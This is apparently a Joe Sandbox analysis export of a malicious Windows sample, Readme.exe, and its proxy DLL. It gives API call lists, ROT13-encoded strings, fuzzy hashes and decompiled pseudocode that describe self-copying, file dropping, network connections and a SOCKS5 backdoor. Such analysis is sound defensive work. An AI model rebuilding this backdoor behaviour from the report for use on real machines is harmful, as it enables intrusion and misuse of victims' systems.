Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrlen$lstrcat$CloseCopyFileOpenQueryValuelstrcpy
String ID: Fbsgjner\Xnmnn\Genafsre$QyQve0
API String ID: 3255004976-3635034446
Opcode ID: 96bb27e789c0454cfa1d7dd6218e760f1b91c58a1b94f5de8dcecc10dbf1df5e
Instruction ID: afcb269cad9b4d3002b0b3817e33f6dff803cc776bda76573fbb9b1efc1f5d05
Opcode Fuzzy Hash: 96bb27e789c0454cfa1d7dd6218e760f1b91c58a1b94f5de8dcecc10dbf1df5e
Instruction Fuzzy Hash: 0751FBB4D05718DBDB50EF24C58939EBBF0AF44304F4189BED88867381D7789A888F96

Uniqueness

Uniqueness Score: -1.00%

Function 00405A3E Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111stringregistryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00405AE3
RegQueryValueExA.ADVAPI32 ref: 00405B2A
RegCloseKey.ADVAPI32 ref: 00405B43
lstrlen.KERNEL32 ref: 00405B5B
lstrlen.KERNEL32 ref: 00405B70
lstrlen.KERNEL32 ref: 00405B89
lstrcat.KERNEL32 ref: 00405BA6
lstrcpy.KERNEL32 ref: 00405BDA
lstrcat.KERNEL32 ref: 00405BF0
CopyFileA.KERNEL32 ref: 00405C07

Strings

QbjaybnqQve, xrefs: 00405A73
Fbsgjner\vZrfu\Trareny, xrefs: 00405A5D

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrlen$lstrcat$CloseCopyFileOpenQueryValuelstrcpy
String ID: Fbsgjner\vZrfu\Trareny$QbjaybnqQve
API String ID: 3255004976-427315093
Opcode ID: 94e05c4d2cf339448625aa2dd311526b15f0b73e23a95898dc47c488b5c81944
Instruction ID: 4c2f52c761e00ed0f591be26c1bd4671a41acc1e7387a317ba9ae8b83013203e
Opcode Fuzzy Hash: 94e05c4d2cf339448625aa2dd311526b15f0b73e23a95898dc47c488b5c81944
Instruction Fuzzy Hash: D051FCB4905718CEDB60EF24C58939EBBF4AF44304F4185BEDC8867381D7789A888F96

Uniqueness

Uniqueness Score: -1.00%

Function 004017F8 Relevance: 19.6, APIs: 13, Instructions: 108
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E004017F8(signed int __edx, CHAR* _a4, intOrPtr* _a8) {
				void* _v16;
				DWORD* _v20;
				signed int _v24;
				signed int _v28;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				signed int _v52;
				DWORD* _v56;
				signed int _v60;
				DWORD* _v64;
				signed int _t50;
				void* _t54;
				void* _t55;
				int _t58;
				DWORD* _t62;
				void* _t65;
				void* _t68;
				DWORD* _t73;
				signed int _t74;
				void* _t86;
				DWORD* _t88;
				void* _t89;
				void* _t90;
				void** _t92;
				void** _t93;
				void** _t94;

				_t74 = __edx;
				_v20 = 0;
				_t50 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0xa7, 0);
				_t90 = _t89 - 0x1c;
				_t86 = _t50;
				_t73 = 0;
				if((_t74 & 0xffffff00 | _t50 == 0xffffffff | _t50 & 0xffffff00 | _t50 == 0x00000000) == 0) {
					_v24 = GetFileSize(_t86, 0);
					_t54 = GetProcessHeap();
					_v52 = _v24;
					_v56 = 0;
					_t55 = RtlAllocateHeap(_t54);
					_t92 = _t90 - 0xfffffffffffffffc;
					_v28 = _t55;
					if(_t55 != 0) {
						_v52 = 0;
						_v56 =  &_v20;
						_v60 = _v24;
						_v64 = _v28;
						 *_t92 = _t86;
						_t58 = ReadFile(??, ??, ??, ??, ??);
						_t93 = _t92 - 0x14;
						if(_t58 != 0) {
							_t88 = 1 + ((0xb + _v24 * 4) * 0xaaaaaaab >> 0x20 >> 3) * 4;
							_v64 = _t88;
							 *_t93 = 0x40;
							_t62 = GlobalAlloc(??, ??);
							_t94 = _t93 - 8;
							_v56 = _t88;
							_v60 = _t62;
							_v64 = _v24;
							 *_t94 = _v28;
							 *_a8 = E00401996(_v28, _v24);
							_t65 = GetProcessHeap();
							_v60 = _v28;
							_v64 = 0;
							 *_t94 = _t65;
							HeapFree(??, ??, ??);
							 *(_t94 - 0xc) = _t86;
							CloseHandle(??);
							_t73 = _t62;
						} else {
							_t68 = GetProcessHeap();
							_v60 = _v28;
							_v64 = 0;
							 *_t93 = _t68;
							HeapFree(??, ??, ??);
							 *(_t93 - 0xc) = _t86;
							CloseHandle(??);
							_t73 = 0;
						}
					} else {
						 *_t92 = _t86;
						CloseHandle(??);
						_t73 = 0;
					}
				}
				return _t73;
			}

0x004017f8
0x00401801
0x0040183e
0x00401843
0x00401846
0x00401853
0x0040185a
0x00401873
0x00401876
0x0040187e
0x00401882
0x0040188d
0x00401892
0x00401895
0x0040189a
0x004018b1
0x004018bc
0x004018c3
0x004018ca
0x004018ce
0x004018d1
0x004018d6
0x004018db
0x00401924
0x0040192b
0x0040192f
0x00401936
0x0040193b
0x00401940
0x00401944
0x0040194b
0x00401952
0x0040195d
0x0040195f
0x00401967
0x0040196b
0x00401973
0x00401976
0x0040197e
0x00401981
0x00401989
0x004018dd
0x004018dd
0x004018e5
0x004018e9
0x004018f1
0x004018f4
0x004018fc
0x004018ff
0x00401907
0x00401907
0x0040189c
0x0040189c
0x0040189f
0x004018a7
0x004018a7
0x0040189a
0x00401994

APIs

CreateFileA.KERNEL32 ref: 0040183E
GetFileSize.KERNEL32 ref: 0040186B
GetProcessHeap.KERNEL32 ref: 00401876
RtlAllocateHeap.NTDLL ref: 0040188D
CloseHandle.KERNEL32 ref: 0040189F
ReadFile.KERNEL32 ref: 004018D1
GetProcessHeap.KERNEL32 ref: 004018DD
HeapFree.KERNEL32 ref: 004018F4
CloseHandle.KERNEL32 ref: 004018FF

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Heap$File$CloseHandleProcess$AllocateCreateFreeReadSize
String ID:
API String ID: 1447158257-0
Opcode ID: 3f111dcaf8cf3b0762ed0ef5d64caf3b4e836ab70030ef84dcd2666f8baf838a
Instruction ID: 56d12447d5e111c6f88c9cc84d084cd75ca963f9ae61866c417ed6db83e02629
Opcode Fuzzy Hash: 3f111dcaf8cf3b0762ed0ef5d64caf3b4e836ab70030ef84dcd2666f8baf838a
Instruction Fuzzy Hash: 614119B1904705DBD700EFA9C18536EBFF0AF84304F108A3EE884A7791D7799949CB96

Uniqueness

Uniqueness Score: -1.00%

Function 10001C8C Relevance: 15.1, APIs: 10, Instructions: 81pipeCOMMON

Download Yara Rule

APIs

Socks5Accept.SHERVANS ref: 10001CAE

Part of subcall function 10001BBE: sread.SHERVANS ref: 10001BE6
Part of subcall function 10001BBE: sread.SHERVANS ref: 10001C20
Part of subcall function 10001BBE: swrite.SHERVANS ref: 10001C61
Part of subcall function 10001BBE: Socks5Auth.SHERVANS ref: 10001C76

Socks5GetCmd.SHERVANS ref: 10001CE0

Part of subcall function 100017DF: sread.SHERVANS ref: 10001806

Socks5CmdIsSupported.SHERVANS ref: 10001D0D

Part of subcall function 1000153E: Socks5SendCode.SHERVANS ref: 10001572

Socks5ServConnect.SHERVANS ref: 10001D36

Part of subcall function 10001451: socket.WS2_32 ref: 10001482
Part of subcall function 10001451: Socks5SendCode.SHERVANS ref: 100014B1

Socks5SendCode.SHERVANS ref: 10001D63

Part of subcall function 1000140F: swrite.SHERVANS ref: 1000144A

CreateConnectStruct.SHERVANS ref: 10001D79

Part of subcall function 100011DB: _malloc.SHERVANS ref: 100011F4

create_thread.SHERVANS ref: 10001D91

Part of subcall function 10001180: CreateThread.KERNEL32 ref: 100011B3

SocksPipe@4.SHERVANS ref: 10001D99

Part of subcall function 100012E4: swrite.SHERVANS ref: 10001337

closesocket.WS2_32 ref: 10001DB1
closesocket.WS2_32 ref: 10001DBC

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: Socks5$CodeSendsreadswrite$ConnectCreateclosesocket$AcceptAuthPipe@4ServSocksStructSupportedThread_malloccreate_threadsocket
String ID:
API String ID: 3751663279-0
Opcode ID: a2bd8abaf4e674468f1f84b6ef6117d609ec6930b513e553faca06ef849a4ba0
Instruction ID: 4b573f6a928498a40c2cc82285d3d9912bf6b4ab208de6b3f8843c6836bde082
Opcode Fuzzy Hash: a2bd8abaf4e674468f1f84b6ef6117d609ec6930b513e553faca06ef849a4ba0
Instruction Fuzzy Hash: 8531C8B88083189FD750DF65C4812DEBBF4EF48750F0189AEE99997305E7749A94CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00402BBA Relevance: 13.6, APIs: 8, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402BCE
lstrcat.KERNEL32 ref: 00402BE8

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402C20
lstrcat.KERNEL32 ref: 00402C42
lstrcat.KERNEL32 ref: 00402C67
lstrcat.KERNEL32 ref: 00402C91
lstrcat.KERNEL32 ref: 00402CB3
lstrcat.KERNEL32 ref: 00402CD8

Strings

mvcsvnd.qyy, xrefs: 00402CE0

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$CountTickrandsrand
String ID: mvcsvnd.qyy
API String ID: 2629717045-1605320677
Opcode ID: b637c6e49b961f897a22e2996b1a65de55874454525e38e3c73dff940bc89bf3
Instruction ID: 3c31970993b76fcb6f62e82551040ecc98f125b31847a965db22ab4f080a2362
Opcode Fuzzy Hash: b637c6e49b961f897a22e2996b1a65de55874454525e38e3c73dff940bc89bf3
Instruction Fuzzy Hash: F441FBB59043048BCB10BF65D98569DBBF0BF84314F40897FE584A7381EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00403AE0 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 83sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

Part of subcall function 0040829C: CreateFileA.KERNEL32 ref: 004082DE
Part of subcall function 0040829C: CreateFileA.KERNEL32 ref: 00408336
Part of subcall function 0040829C: CloseHandle.KERNEL32 ref: 00408356

Part of subcall function 0040829C: GetFileSize.KERNEL32 ref: 00408409
Part of subcall function 0040829C: GetFileSize.KERNEL32 ref: 00408422
Part of subcall function 0040829C: lstrlen.KERNEL32 ref: 00408436
Part of subcall function 0040829C: WriteFile.KERNEL32 ref: 00408480
Part of subcall function 0040829C: lstrlen.KERNEL32 ref: 0040848E
Part of subcall function 0040829C: WriteFile.KERNEL32 ref: 004084BC
Part of subcall function 0040829C: lstrlen.KERNEL32 ref: 004084CA
Part of subcall function 0040829C: SetFilePointer.KERNEL32 ref: 004084F0
Part of subcall function 0040829C: ReadFile.KERNEL32 ref: 00408529

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Sleep.KERNEL32 ref: 00403BC2

Strings

foto.pif, xrefs: 00403B96
mvcsvnd.qyy, xrefs: 00403B66
Readme.exe, xrefs: 00403B45
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00403BDD
tepbcl.qyy, xrefs: 00403AEB
fgngrz, xrefs: 00403BF3
mvcsv.qyy, xrefs: 00403B1B
x, xrefs: 00403B80

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: File$lstrlen$CreateHandleSizeWritelstrcat$CloseConnectedDirectoryInternetLibraryLoadModulePointerReadSleepStateSystemmemset
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$Readme.exe$fgngrz$foto.pif$mvcsv.qyy$mvcsvnd.qyy$tepbcl.qyy$x
API String ID: 1266463258-727612787
Opcode ID: 4f08fd3119f6ef70fbf57858498a347b0345bdf901e6be3e447fbd951a2ad8b7
Instruction ID: aba1e27b33e5380b7e2637a9dd0f7b6f92beebfe16ff9740c24b48d29de174a4
Opcode Fuzzy Hash: 4f08fd3119f6ef70fbf57858498a347b0345bdf901e6be3e447fbd951a2ad8b7
Instruction Fuzzy Hash: 00313BB08097159AD310BF22C58529EBBE4AF80749F41CC7EF5C867281DB3C9689DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 100012E4 Relevance: 10.6, APIs: 7, Instructions: 82sleepCOMMON

Download Yara Rule

APIs

swrite.SHERVANS ref: 10001337

Part of subcall function 10001236: send.WS2_32 ref: 1000125F

shutdown.WS2_32 ref: 10001395
shutdown.WS2_32 ref: 100013AB
closesocket.WS2_32 ref: 100013B9
closesocket.WS2_32 ref: 100013C7
Sleep.KERNEL32 ref: 100013E1
GlobalFree.KERNEL32 ref: 100013F9

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: closesocketshutdown$FreeGlobalSleepsendswrite
String ID:
API String ID: 1878692053-0
Opcode ID: e0839c0ce4ee56aa669c213a4fa6ec1e94d32b6c2ce99eb8bfe8c713ce6150e8
Instruction ID: 48072c1fa49bddfcfd526dd8cb4adb201c308eb4763bb1a22db86958bf961fa8
Opcode Fuzzy Hash: e0839c0ce4ee56aa669c213a4fa6ec1e94d32b6c2ce99eb8bfe8c713ce6150e8
Instruction Fuzzy Hash: 7E311CB0608240CBEB02EF79C5C579ABFE4EF01390F0585A8ED848F25AD775E945CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00405EE8 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 119memorystringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00405F28
GetProcessHeap.KERNEL32 ref: 00405F38

Part of subcall function 00409250: malloc.MSVCRT ref: 004092A3

Part of subcall function 004060AA: DnsQuery_A.DNSAPI ref: 004060E7
Part of subcall function 004060AA: GetProcessHeap.KERNEL32 ref: 0040610A
Part of subcall function 004060AA: RtlAllocateHeap.NTDLL ref: 00406122
Part of subcall function 004060AA: lstrcpy.KERNEL32 ref: 00406144
Part of subcall function 004060AA: GlobalFree.KERNEL32 ref: 00406182

GetProcessHeap.KERNEL32 ref: 00406049
HeapFree.KERNEL32 ref: 00406060

Part of subcall function 0040619A: memset.MSVCRT ref: 004061C4
Part of subcall function 0040619A: GetSystemTime.KERNEL32 ref: 00406249
Part of subcall function 0040619A: wsprintfA.USER32 ref: 004062BD
Part of subcall function 0040619A: socket.WS2_32 ref: 004062D9
Part of subcall function 0040619A: htons.WS2_32 ref: 004062F9
Part of subcall function 0040619A: inet_addr.WS2_32 ref: 0040630B
Part of subcall function 0040619A: gethostbyname.WS2_32 ref: 00406321
Part of subcall function 0040619A: connect.WS2_32 ref: 0040634D

Strings

j_@, xrefs: 00405FD2
@, xrefs: 00405F1A

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Heap$Process$Free$AllocateGlobalQuery_SystemTimeconnectgethostbynamehtonsinet_addrlstrcpymallocmemsetsocketstrchrwsprintf
String ID: @$j_@
API String ID: 3179556216-3208567232
Opcode ID: 9019b2dfd91c923306931ebe787b21ef8ab25a52cd19833d7762eabd49a2fa17
Instruction ID: 173fe34617f367652bf3f1e9fca4c53672752cc9009160b2f8c90af088e1383c
Opcode Fuzzy Hash: 9019b2dfd91c923306931ebe787b21ef8ab25a52cd19833d7762eabd49a2fa17
Instruction Fuzzy Hash: 7551B4B4904709DFCB10DFA5C48468EBBF1FF88314F14862AE868A7395D3389846CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9D0 Relevance: 9.1, APIs: 6, Instructions: 118COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 0040AA3D
SetLastError.KERNEL32 ref: 0040AA4F

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: ErrorLastValue
String ID:
API String ID: 1151882462-0
Opcode ID: 49d06252631d2c5c8c2d25fde44a13d536e716d3c70b2a77a029649fafb08e20
Instruction ID: 444a06ef6d56dde007bbc20e4d8b26003c34dd805877e33333d77d24524e80d9
Opcode Fuzzy Hash: 49d06252631d2c5c8c2d25fde44a13d536e716d3c70b2a77a029649fafb08e20
Instruction Fuzzy Hash: 88513A70E003088FDB10EFA9DA8469EBBF4BB04304F14853AD845B7390DB78A955CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB20 Relevance: 9.1, APIs: 6, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040BB20(void* __ebx, void* __edi, void* __esi, intOrPtr _a4) {
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v40;
				intOrPtr _v52;
				long _v56;
				void* _v60;
				intOrPtr _v84;
				intOrPtr _v96;
				void* _t54;
				long _t56;
				void* _t57;
				void* _t58;
				void* _t60;
				void* _t62;
				long _t65;
				void* _t66;
				void* _t67;
				intOrPtr* _t70;
				void* _t72;
				void* _t78;
				void* _t82;
				void* _t88;
				void* _t94;
				intOrPtr _t101;
				long _t113;
				intOrPtr _t116;
				intOrPtr _t117;
				void* _t119;
				intOrPtr* _t120;
				long* _t121;
				void** _t122;
				long* _t123;
				intOrPtr* _t124;

				_t87 = __ebx;
				_push(__ebx);
				_t120 = _t119 - 0x1c;
				_t54 =  *0x418284;
				_t109 = _a4;
				if(_t54 == 0) {
					E0040B0E0(_t54);
					_t54 =  *0x418284;
					_t113 =  *(_t54 + 0x30);
					if(_t113 >= 0) {
						goto L2;
					} else {
						goto L15;
					}
					goto L47;
				} else {
					_t113 =  *(_t54 + 0x30);
					if(_t113 < 0) {
						L15:
						E0040B3B0(_t87, _t113);
						_t54 =  *0x418284;
						_t88 =  *(_t54 + 0x30);
						if(_t88 == 0) {
							goto L3;
						} else {
							goto L17;
						}
						L47:
					} else {
						L2:
						_t88 =  *(_t54 + 0x30);
						if(_t88 != 0) {
							L17:
							_t56 = GetLastError();
							 *_t120 =  *((intOrPtr*)(_t54 + 0x2c));
							_t113 = _t56;
							_t57 = TlsGetValue(??);
							_t121 = _t120 - 4;
							_t88 = _t57;
							 *_t121 = _t113;
							SetLastError(??);
							_t58 = _t88;
							_t120 = _t121 - 4;
						} else {
							L3:
							_t58 =  *(_t54 + 0x28);
						}
					}
				}
				_v20 = _t58;
				_v24 = _t58;
				if( *((intOrPtr*)(_t109 + 0xc)) != 0) {
					_t60 = E0040B8D0(_t109,  &_v24);
				} else {
					_t60 = E0040B6B0(_t109,  &_v24);
				}
				if(_t60 == 7) {
					_t78 =  *0x418284;
					_t88 = _v24;
					if(_t78 == 0) {
						E0040B0E0(_t78);
						_t78 =  *0x418284;
						if( *((intOrPtr*)(_t78 + 0x30)) >= 0) {
							L9:
							_t109 =  *((intOrPtr*)(_t78 + 0x30));
							if( *((intOrPtr*)(_t78 + 0x30)) != 0) {
								_v40 = _t88;
								 *_t120 =  *((intOrPtr*)(_t78 + 0x2c));
								if(TlsSetValue(??, ??) == 0) {
									GetLastError();
								}
							} else {
								 *(_t78 + 0x28) = _t88;
							}
							_t82 = _v24;
							_t116 =  *((intOrPtr*)(_t82 + 0x20));
							_t120 =  *((intOrPtr*)(_t82 + 0x28));
							goto __ecx;
						}
						L22:
						E0040B3B0(_t88, _t113);
						_t78 =  *0x418284;
						goto L9;
					}
					if( *((intOrPtr*)(_t78 + 0x30)) < 0) {
						goto L22;
					}
					goto L9;
				}
				abort();
				_push(_t116);
				_t117 = _t120;
				_t122 = _t120 - 0x28;
				_v52 = _t109;
				_t110 = _v40;
				_v60 = _t88;
				_v56 = _t113;
				_t114 =  *(_t110 + 0xc);
				if( *(_t110 + 0xc) == 0) {
					 *_t122 = _t110;
					return E0040B740();
				} else {
					_t62 =  *0x418284;
					if(_t62 == 0) {
						E0040B0E0(_t62);
						_t62 =  *0x418284;
					}
					_t91 =  *((intOrPtr*)(_t62 + 0x30));
					if( *((intOrPtr*)(_t62 + 0x30)) < 0) {
						E0040B3B0(_t91, _t114);
						_t62 =  *0x418284;
					}
					if( *((intOrPtr*)(_t62 + 0x30)) != 0) {
						_t65 = GetLastError();
						 *_t122 =  *(_t62 + 0x2c);
						_t114 = _t65;
						_t66 = TlsGetValue(??);
						_t123 = _t122 - 4;
						 *_t123 = _t65;
						SetLastError(??);
						_t67 = _t66;
						_t122 = _t123 - 4;
					} else {
						_t67 =  *(_t62 + 0x28);
					}
					_v24 = _t67;
					_v28 = _t67;
					if(E0040B8D0(_t110,  &_v28) == 7) {
						_t72 =  *0x418284;
						_t94 = _v28;
						if(_t72 == 0) {
							E0040B0E0(_t72);
							_t72 =  *0x418284;
						}
						if( *(_t72 + 0x30) < 0) {
							E0040B3B0(_t94, _t114);
							_t72 =  *0x418284;
						}
						_t110 =  *(_t72 + 0x30);
						if( *(_t72 + 0x30) != 0) {
							_v84 = _t94;
							 *_t122 =  *(_t72 + 0x2c);
							if(TlsSetValue(??, ??) == 0) {
								GetLastError();
							}
						} else {
							 *((intOrPtr*)(_t72 + 0x28)) = _t94;
						}
						_t62 = _v28;
						_t117 =  *((intOrPtr*)(_t62 + 0x20));
						_t122 =  *(_t62 + 0x28);
						goto __ecx;
					}
					abort();
					_push(_t117);
					_t124 = _t122 - 8;
					_t101 = _v84;
					_t70 =  *((intOrPtr*)(_t101 + 8));
					if(_t70 != 0) {
						_v96 = _t101;
						 *_t124 = 1;
						return  *_t70();
					} else {
						return _t70;
					}
				}
				goto L47;
			}

0x0040bb20
0x0040bb25
0x0040bb26
0x0040bb29
0x0040bb2e
0x0040bb33
0x0040bbb4
0x0040bbb9
0x0040bbbe
0x0040bbc3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bb35
0x0040bb35
0x0040bb3a
0x0040bbd0
0x0040bbd0
0x0040bbd5
0x0040bbda
0x0040bbdf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bb40
0x0040bb40
0x0040bb40
0x0040bb45
0x0040bbf0
0x0040bbf3
0x0040bbf9
0x0040bbfc
0x0040bbfe
0x0040bc04
0x0040bc07
0x0040bc09
0x0040bc0c
0x0040bc12
0x0040bc14
0x0040bb4b
0x0040bb4b
0x0040bb4b
0x0040bb4b
0x0040bb45
0x0040bb3a
0x0040bb4e
0x0040bb54
0x0040bb59
0x0040bbad
0x0040bb5b
0x0040bb60
0x0040bb60
0x0040bb68
0x0040bb6e
0x0040bb73
0x0040bb78
0x0040bc46
0x0040bc4b
0x0040bc55
0x0040bb89
0x0040bb89
0x0040bb8e
0x0040bc23
0x0040bc27
0x0040bc35
0x0040bc3b
0x0040bc3b
0x0040bb94
0x0040bb94
0x0040bb94
0x0040bb97
0x0040bba0
0x0040bba3
0x0040bba6
0x0040bba6
0x0040bc60
0x0040bc60
0x0040bc65
0x00000000
0x0040bc65
0x0040bb83
0x00000000
0x00000000
0x00000000
0x0040bb83
0x0040bc6f
0x0040bc80
0x0040bc81
0x0040bc83
0x0040bc86
0x0040bc89
0x0040bc8c
0x0040bc8f
0x0040bc92
0x0040bc97
0x0040bd12
0x0040bd26
0x0040bc99
0x0040bc99
0x0040bca0
0x0040bd06
0x0040bd0b
0x0040bd0b
0x0040bca2
0x0040bca7
0x0040bd81
0x0040bd86
0x0040bd86
0x0040bcb2
0x0040bd2a
